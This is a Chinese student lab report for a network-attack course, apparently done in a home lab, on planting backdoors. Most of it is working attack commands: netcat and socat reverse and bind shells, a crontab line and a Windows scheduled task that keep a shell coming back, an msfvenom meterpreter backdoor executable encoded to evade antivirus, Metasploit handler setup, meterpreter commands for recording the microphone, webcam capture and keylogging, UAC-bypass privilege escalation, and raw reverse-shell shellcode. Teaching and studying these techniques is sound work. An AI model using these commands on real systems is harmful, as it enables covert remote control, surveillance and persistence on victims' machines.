2019-2020-2 网络对抗技术 20175211 Exp2 后门原理与实践
实验内容
使用netcat获取主机操作Shell,cron启动
netcat是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
其中-e
选项可以指定一个文件在连接后打开
Windows主机获取Kali shell
-
kali在终端输入
nc 192.168.1.104 23333 -e /bin/sh
,将shell反弹给windows
-
windows在cmd下输入
nc -lvvp 23333
,监听端口
crontab
crontab命令常见于Unix和类Unix的操作系统之中,用于设置周期性被执行的指令。
根据帮助文档,我们可以知道cron的格式是分钟 小时 每月的日期 月份 星期几 指令
crontab -e
编辑,在最后一行增加33 * * * * /bin/netcat 192.168.1.104 23333 -e /bin/sh
,表示每天每个小时的第33分钟会执行这条反弹shell的指令。
windows端只要准时listen就可以了
使用socat获取主机操作Shell, 任务计划启动
- Socat 是 Linux 下的一个多功能的网络工具,名字来由是 「Socket CAT」。其功能与有瑞士军刀之称的 Netcat 类似,可以看做是 Netcat 的加强版。
- 任务计划是windows下和crontab差不多的东西
右键此电脑
,选择管理
,在任务计划程序
中选择创建基本任务
起完名字后,指定启动socat.exe
,参数为tcp-listen:5211 exec:cmd.exe,pty,stderr
,这样任何人链接5211端口都可以获取shell
设定完时间后,kali准时运行socat - tcp:192.168.1.104:5211
,成功收到shell
记得做完实验之后从任务计划程序库中把这条删掉
使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
msfvenom
是一个payload生成器和编码器
-p
使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
-x
使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
-e
使用的编码器,用于对shellcode变形,为了免杀。
-i
编码器的迭代次数。如上即使用该编码器编码5次。
-b
badchar是payload中需要去除的字符。
LHOST
是反弹回连的IP
LPORT
是回连的端口
-f
生成文件的类型
>
输出到哪个文件
可以用-l
来列出所有可选的payload、文件类型、编码器等等,这里我们的目标是windows系统,所以输入以下命令:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.79.137 LPORT=5211 -f exe > 20175211_backdoor.exe
然后用nc传输,接收端ncat.exe -lvvp 23333 > 20175211_backdoor.exe
,发送端nc 192.168.79.134 23333 < 20175211_backdoor.exe
在windows运行这个程序。
kali中
-
msfconsole
进入Metaspolit -
use exploit/multi/handler
-
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload -
set LHOST 192.168.79.137
localhost, -
set LPORT 5211
,同样要使用相同的端口 -
show options
,查看设置信息,再检查一遍
-
exploit
执行,成功
使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
-
help
指令可以看到我们现在能执行的指令,比较有意思的比如下面这两个部分
-
record_mic
可以从默认麦克风录音
-
screenshot
可以截屏
-
webcam_snap
可以调用摄像头,但是由于我的靶机是虚拟机,没有硬件,所以不演示了 -
keyscan_start
可以记录键盘按键记录,keyscan_dump
可以读取 -
shell
可以获取交互式shell
-
getsystem
可以提权,这时用户已经和上面不一样了。但是要先用别的洞去打,比如use exploit/windows/local/bypassuac
。
可选加分内容
-
在exploit-db找到x86的反弹shell的shellcode
\xc0\xd6\xff\xff\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x66\xb8\x67\x01\xb3\x02\xb1\x01\xcd\x80\x89\xc3\xb8\x80\xff\xff\xfe\x83\xf0\xff\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\xb2\x10\x31\xc0\x66\xb8\x6a\x01\xcd\x80\x85\xc0\x75\x24\x31\xc9\xb1\x02\x31\xc0\xb0\x3f\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80\xb3\x01\x31\xc0\xb0\x01\xcd\x80
,其指定ip和端口为127.0.0.1:4444
,为了简化,我们就在本地实验 -
nc -lvvp 23333 -e pwn1
模拟服务端
-
根据Exp1的结果制作payload,并注入pwn1,
nc 192.168.79.137 23333 < shellcode
-
msf中设置
use exploit/multi/handler
set payload linux/x86/shell_reverse_tcp
set LHOST 127.0.0.1
set LPORT 4444
exploit
成功
报告内容
基础问题回答
-
(1)例举你能想到的一个后门进入到你系统中的可能方式?
- 钓鱼链接可能会让你下载奇怪的软件
- 从不可信的第三方下载软件,软件中可能被植入后门
-
(2)例举你知道的后门如何启动起来(win及linux)的方式?
crontab,任务计划,自启动项 -
(3)Meterpreter有哪些给你映像深刻的功能?
调用摄像头,看来IT巨头们喜欢把电脑上摄像头贴住不是装装的 -
(4)如何发现自己有系统有没有被安装后门?
杀软,检查自启动项,有无异常进程,尤其是网络连接
实验总结与体会
这次试验总体来说没有上次难,因为主要是工具的使用,但也是很重要的基本功。希望有机会能更深入了解后门的制作和防范